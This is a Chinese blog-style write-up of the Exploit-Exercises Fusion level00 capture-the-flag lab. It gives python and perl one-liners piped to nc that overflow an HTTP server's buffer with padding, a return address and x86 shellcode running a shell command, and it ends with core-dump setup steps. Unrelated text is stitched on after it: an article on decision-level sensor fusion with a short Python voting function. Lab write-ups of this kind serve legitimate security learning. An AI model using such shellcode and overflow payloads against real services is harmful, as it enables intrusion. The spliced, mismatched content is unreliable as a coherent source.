Fusion level00

本文详细解析了漏洞利用过程中的关键代码逻辑,包括特殊路径构造、shellcode注入及核心偏移量计算等,提供了从错误理解到正确实现的全过程分析,并附带解答了关于EIP填充字符数量的疑惑,以及核心文件的生成与调试方法。

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1.if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open

就算path不存在,resolved也会被赋值成path
记错了,想成path不存在resolved就会赋值NULL,搞得我一直在构造特殊路径
PS:python或者perl可以构造特殊路径和文件,比如
install -d `python -c 'print "\x90"*90'`   但是要注意如果shellcode中有/,那么就会生成多个目录

2.原本的想法是

python -c 'print "GET "+"/home/fusion/"+"\x90"*25+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"+"/"+"A"*51+"\x0f\xf9\xff\xbf"+" HTTP/1.1"' | nc localhost 20000

本来这样也是也行的,但是shellcode中"\x00",被当成了字符串的结束了.然后就不能读到HTTP/1.1了

索性就看了下别人的答案,看到别人是把shellcode写在HTTP/1.1后面,哎,我也是醉了,咋没多想一步呢?

fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000

3.为什么EIP前面的的填充字符个数是139个?

自己计算的是128+8+4,应该是140个啊,不应该是139个.

4.看别人是有core生成的,可以调试得到EIP的偏移量

#ulimit -c unlimited

# sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

可以在/tmp目录下看到core

题目链接:

http://exploit-exercises.com/fusion/level00

答案链接:

https://www.mattandreko.com/2012/04/09/exploit-exercises-fusion-00/

http://terrying.blog.51cto.com/2147205/1198018

转载于:https://my.oschina.net/u/209614/blog/311443

### 决策级融合概述 决策级融合是一种多传感器数据处理技术,在该过程中,来自不同传感器的数据经过独立处理并转换成决策或分类结果之后再进行综合分析。这种方式允许系统利用多个源的信息来提高最终判断的准确性、可靠性和鲁棒性[^1]。 ### 方法论 为了实现有效的决策层融合,通常会采用一系列特定的方法和技术: - **投票机制**:通过简单多数原则或其他加权方案对各个单独模型的结果进行汇总; - **贝叶斯推理框架**:基于概率理论计算联合分布函数从而得出最优解; - **神经网络集成学习**:训练一组弱分类器并将它们组合起来形成更强的整体预测能力。 这些策略可以显著增强系统的性能表现,并且能够适应复杂环境下的变化需求[^2]。 ### 应用场景实例 在自动驾驶领域内,Waymo公司就成功应用了这种理念构建其车辆感知模块。具体来说,该公司采用了多种类型的探测装置(如激光雷达LiDAR、摄像头Camera以及毫米波雷达Radar),每种设备负责收集不同类型的道路状况信息。随后,软件平台会对上述原始资料分别解析得到初步结论,最后借助于高级算法完成统一协调工作——即所谓的“创建一致连贯内部表示”,以此确保行车安全高效运行。 ```python def decision_fusion(vote_results): """ 实现简单的投票法来进行决策级别融合 参数: vote_results (list): 不同模型给出的类别标签列表 返回: str: 融合后的最终决定 """ from collections import Counter counter = Counter(vote_results) return max(counter.items(), key=lambda x:x[1])[0] # 假设有三个不同的AI代理做出了如下判定 model_predictions = ['safe', 'unsafe', 'safe'] final_decision = decision_fusion(model_predictions) print(f"The final decision after fusion is {final_decision}.") ```
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